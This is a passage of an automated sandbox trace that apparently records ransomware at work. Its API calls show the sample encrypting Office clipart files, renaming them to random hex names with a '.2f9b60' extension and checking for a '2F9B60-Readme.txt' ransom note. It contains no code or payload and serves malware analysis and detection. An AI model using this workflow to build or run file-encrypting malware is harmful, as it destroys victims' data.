Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x6081d932 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0xe4646d2 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x242575d4 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x21c983b9 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x363f0a5d [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x7dfdeb37 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x263bc318 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x599400b9 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x26361512 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x5b4b9a80 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x254e1e96 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x7c7691c2 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x59353e7d [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x4c0af449 [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x498a59 [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x411267f8 [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x27d0cc3 [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x2292ceb9 [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x118ff392 [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x27d0cc3 [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x7f063990 [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x50f194cb [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x7ad44581 [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x62e2a131 [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x55b39e8f [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x5b24c141 [0123.738] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x79f90c [0124.496] ReadFile (in: hFile=0x1830, lpBuffer=0x41d26910, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x1e84fbb0, lpOverlapped=0x0 | out: lpBuffer=0x41d26910*, lpNumberOfBytesRead=0x1e84fbb0*=0xec4, lpOverlapped=0x0) returned 1 [0124.496] SetFilePointerEx (in: hFile=0x1830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.497] WriteFile (in: hFile=0x1830, lpBuffer=0x41edf0f0*, nNumberOfBytesToWrite=0xec4, lpNumberOfBytesWritten=0x1e84fbb4, lpOverlapped=0x0 | out: lpBuffer=0x41edf0f0*, lpNumberOfBytesWritten=0x1e84fbb4*=0xec4, lpOverlapped=0x0) returned 1 [0124.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0124.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0124.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9a0) returned 1 [0124.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edf0f0) returned 1 [0124.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d26910) returned 1 [0124.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866e40) returned 1 [0124.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0124.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85f9a0 [0124.546] SetFilePointerEx (in: hFile=0x1830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.546] WriteFile (in: hFile=0x1830, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e84fcd0, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x1e84fcd0*=0x10a, lpOverlapped=0x0) returned 1 [0124.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a80 [0124.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a80) returned 1 [0124.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a80 [0124.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0124.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0124.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.609] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="ec") returned 2 [0124.609] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="7b") returned 2 [0124.609] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="0a") returned 2 [0124.609] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="e3") returned 2 [0124.609] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="09") returned 2 [0124.609] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="a6") returned 2 [0124.609] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="22") returned 2 [0124.609] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="ea") returned 2 [0124.609] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="9e") returned 2 [0124.609] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="83") returned 2 [0124.609] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="51") returned 2 [0124.609] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="1d") returned 2 [0124.609] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="1a") returned 2 [0124.609] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="49") returned 2 [0124.609] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="5b") returned 2 [0124.609] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="1b") returned 2 [0124.609] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="7b") returned 2 [0124.610] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="1a") returned 2 [0124.610] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="cc") returned 2 [0124.610] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="08") returned 2 [0124.610] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="f9") returned 2 [0124.610] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="b8") returned 2 [0124.610] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="71") returned 2 [0124.610] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="87") returned 2 [0124.610] RtlInitAnsiString (in: DestinationString=0x1e84fd48, SourceString="ec7b0ae309a622ea9e83511d1a495b1b7b1acc08f9b87187" | out: DestinationString="ec7b0ae309a622ea9e83511d1a495b1b7b1acc08f9b87187") [0124.610] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e84fd18, SourceString="ec7b0ae309a622ea9e83511d1a495b1b7b1acc08f9b87187", AllocateDestinationString=1 | out: DestinationString="ec7b0ae309a622ea9e83511d1a495b1b7b1acc08f9b87187") returned 0x0 [0124.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864530 [0124.610] wcscat (in: _Dest=0x2027bc30, _Source="ec7b0ae309a6" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6" [0124.610] wcscat (in: _Dest=0x2027bc30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6.2f9b60" [0124.610] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6.2f9b60", NtPathName=0x1e84fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106880 [0124.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106880) returned 1 [0124.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47320) returned 1 [0124.721] NtQueryInformationFile (in: FileHandle=0x1830, IoStatusBlock=0x1e84fd58, FileInformation=0x1e84fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e84fd58, FileInformation=0x1e84fd68) returned 0x0 [0124.721] NtSetInformationFile (FileHandle=0x1830, IoStatusBlock=0x1e84fd58, FileInformation=0x1e84fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bc30) returned 1 [0124.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864530) returned 1 [0124.733] FlushFileBuffers (hFile=0x1830) returned 1 [0124.737] CloseHandle (hObject=0x1830) returned 1 [0124.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bc30 [0124.738] wcscpy (in: _Dest=0x2027bc30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.738] wcscat (in: _Dest=0x2027bc30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bc30) returned 1 [0124.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ad10) returned 1 Thread: id = 1507 os_tid = 0x19e0 [0120.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0122.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF", dwFileAttributes=0x20) returned 1 [0122.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1820 [0123.480] GetFileSizeEx (in: hFile=0x1820, lpFileSize=0x1f03f960 | out: lpFileSize=0x1f03f960*=4164) returned 1 [0123.480] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x1040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.480] ReadFile (in: hFile=0x1820, lpBuffer=0x1f03f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f03f928, lpOverlapped=0x0 | out: lpBuffer=0x1f03f8e0*, lpNumberOfBytesRead=0x1f03f928*=0x4, lpOverlapped=0x0) returned 1 [0123.617] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ddb0 [0123.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f0d0 [0123.617] NtQuerySystemTime (in: CurrentTime=0x1f03f820 | out: CurrentTime=0x1f03f820*=132462177290038000) returned 0x0 [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x21ea50a6 [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x54fc33f4 [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x41c2d393 [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x6c56413e [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x61596842 [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x758f5098 [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x6445890 [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x7161e639 [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x803357e [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x13947d78 [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x8fb3680 [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x2a3011eb [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x5fc9c6 [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x6d2a03b [0123.617] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x5416f544 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x7c176bc7 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x591c1649 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x5e562ac2 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x57cef203 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x77f10328 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x717c5811 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x114d7703 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x571b9c5f [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x6e8b6e56 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x793b6294 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x3ef1ed14 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x556231aa [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x3dda036a [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x25757a91 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x7da969fc [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x1bae156 [0123.618] RtlRandomEx (in: Seed=0x1f03f810 | out: Seed=0x1f03f810) returned 0x60dc27b7 [0123.627] ReadFile (in: hFile=0x1820, lpBuffer=0x20166910, nNumberOfBytesToRead=0x1044, lpNumberOfBytesRead=0x1f03f810, lpOverlapped=0x0 | out: lpBuffer=0x20166910*, lpNumberOfBytesRead=0x1f03f810*=0x1044, lpOverlapped=0x0) returned 1 [0123.976] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.976] WriteFile (in: hFile=0x1820, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x1044, lpNumberOfBytesWritten=0x1f03f814, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x1f03f814*=0x1044, lpOverlapped=0x0) returned 1 [0123.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d8d0 [0123.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dcf0 [0123.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dcf0) returned 1 [0123.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0123.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20166910) returned 1 [0123.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0123.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059920) returned 1 [0123.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050dcf0 [0123.982] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.982] WriteFile (in: hFile=0x1820, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f03f930, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x1f03f930*=0x10a, lpOverlapped=0x0) returned 1 [0123.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059920 [0123.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0123.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f070 [0123.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f070) returned 1 [0123.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f070 [0123.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f040 [0123.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f040) returned 1 [0123.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0123.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059920) returned 1 [0123.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.999] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="75") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="d9") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="4c") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="f8") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="73") returned 2 [0123.999] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="69") returned 2 [0123.999] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="af") returned 2 [0123.999] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="eb") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="a7") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="26") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="97") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="2c") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="6b") returned 2 [0123.999] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="3c") returned 2 [0123.999] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="5d") returned 2 [0123.999] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="6b") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="50") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="36") returned 2 [0123.999] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="fa") returned 2 [0124.000] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="b4") returned 2 [0124.000] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="a6") returned 2 [0124.000] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="e7") returned 2 [0124.000] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="ef") returned 2 [0124.000] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="58") returned 2 [0124.000] RtlInitAnsiString (in: DestinationString=0x1f03f9a8, SourceString="75d94cf87369afeba726972c6b3c5d6b5036fab4a6e7ef58" | out: DestinationString="75d94cf87369afeba726972c6b3c5d6b5036fab4a6e7ef58") [0124.000] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f03f978, SourceString="75d94cf87369afeba726972c6b3c5d6b5036fab4a6e7ef58", AllocateDestinationString=1 | out: DestinationString="75d94cf87369afeba726972c6b3c5d6b5036fab4a6e7ef58") returned 0x0 [0124.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9550 [0124.000] wcscat (in: _Dest=0x202b1370, _Source="75d94cf87369" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75d94cf87369") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75d94cf87369" [0124.000] wcscat (in: _Dest=0x202b1370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75d94cf87369.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75d94cf87369.2f9b60" [0124.000] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75d94cf87369.2f9b60", NtPathName=0x1f03f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\75d94cf87369.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107300 [0124.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0124.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0124.002] NtQueryInformationFile (in: FileHandle=0x1820, IoStatusBlock=0x1f03f9b8, FileInformation=0x1f03f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f03f9b8, FileInformation=0x1f03f9c8) returned 0x0 [0124.002] NtSetInformationFile (FileHandle=0x1820, IoStatusBlock=0x1f03f9b8, FileInformation=0x1f03f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0124.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9550) returned 1 [0124.004] FlushFileBuffers (hFile=0x1820) returned 1 [0124.160] CloseHandle (hObject=0x1820) returned 1 [0124.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0470 [0124.161] wcscpy (in: _Dest=0x202b0470, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.161] wcscat (in: _Dest=0x202b0470, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0470) returned 1 [0124.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ab60) returned 1 Thread: id = 1508 os_tid = 0x19e4 [0120.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0122.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF", dwFileAttributes=0x20) returned 1 [0122.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1824 [0123.479] GetFileSizeEx (in: hFile=0x1824, lpFileSize=0x1f50fc20 | out: lpFileSize=0x1f50fc20*=812) returned 1 [0123.479] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.479] ReadFile (in: hFile=0x1824, lpBuffer=0x1f50fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f50fbe8, lpOverlapped=0x0 | out: lpBuffer=0x1f50fba0*, lpNumberOfBytesRead=0x1f50fbe8*=0x4, lpOverlapped=0x0) returned 1 [0123.628] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.628] RtlAllocateHeap (HeapHandle=0xa0000, 